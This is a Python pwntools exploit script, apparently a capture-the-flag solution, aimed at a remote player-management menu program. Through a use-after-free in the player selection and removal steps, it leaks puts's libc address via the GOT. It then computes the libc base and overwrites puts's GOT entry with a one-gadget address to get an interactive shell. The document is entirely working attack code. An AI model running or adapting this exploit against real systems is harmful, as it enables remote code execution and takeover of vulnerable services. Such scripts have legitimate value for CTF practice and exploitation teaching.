#!/usr/bin/python

from pwn import *
import sys

#r = process("./main.elf")
r = remote(sys.argv[1],int(sys.argv[2]))
pause()


puts_got = 0x603030
puts_off = 0x809c0

def add_player(name):
	r.sendline("1")
	r.recvuntil("name:")
	r.sendline(name)
	r.recvuntil("points:")
	r.sendline(str(11))
	r.recvuntil("points:")
	r.sendline(str(22))
	r.recvuntil("speed:")
	r.sendline(str(33))
	r.recvuntil("precision:")
	r.sendline(str(44))
	r.recvuntil("choice:")

def remove_player(idx):
	r.sendline("2")
	r.recvuntil("index:")
	r.sendline(str(idx))
	r.recvuntil("choice:")

def select_player(idx):
	r.sendline("3")
	r.recvuntil("index:")
	r.sendline(str(idx))
	r.recvline()
	r.recvline()
	r.recvline()
	r.recvuntil("choice")

def edit_player(name):
	r.sendline("4")
	r.recvuntil("choice:")
	r.sendline("1")
	r.recvuntil("name:")
	r.sendline(name)
	r.recvuntil("choice:")
	r.sendline("0")
	r.recvuntil("choice:")

def show_player():
	r.sendline("5")
	r.recvuntil("Name: ")
	return r.recvline()
	#leak = int(r.recvline().split(" ")[1].split(",")[0])
	#print "heap leak @",hex(leak)

add_player("A"*80)
add_player("C"*20)
add_player("D"*30)

pause()
select_player(1)
remove_player(1)
remove_player(2)
add_player("A"*16+p32(puts_got))
data = show_player()
leak =  u64(data.split(" ")[0].strip("\n")+"\x00"*2)
base = leak - puts_off
one_shot = base + 0x10a38c

print "libc leak @",hex(leak)
print "libc base @",hex(base)

pause()

pld= p64(one_shot) #p32(0x414141414141)
r.recvuntil("choice:")
r.sendline("4")
r.recvuntil("choice:")
r.sendline("1")
r.recvuntil("name:")
r.sendline(pld)

r.interactive()
